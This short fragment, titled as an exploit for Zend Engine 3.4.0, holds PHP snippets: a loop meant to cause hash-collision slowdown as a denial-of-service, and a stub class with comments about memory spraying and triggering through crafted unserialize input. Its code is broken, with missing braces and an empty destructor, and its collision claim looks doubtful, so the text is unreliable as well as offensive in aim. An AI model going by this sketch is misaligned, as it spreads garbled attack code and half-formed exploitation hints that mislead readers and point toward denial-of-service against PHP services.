Zend Engine V3.4.0 Exploit [SAFE]

$size = pow(2, 16);
$keys = [];
for ($i = 0; $i < $size; $i++) 
    $keys["\0" . $i] = 1;
// Causes O(n^2) insertion time due to collision chain

🚨 No known RCE directly in Zend Engine 3.4.0 VM — most bugs lead to DoS or infoleak.

class Vuln 
    function __destruct() 
        // Override get_properties pointer via memory spray
$obj = new Vuln();
// Trigger via unserialize() with crafted property handler offset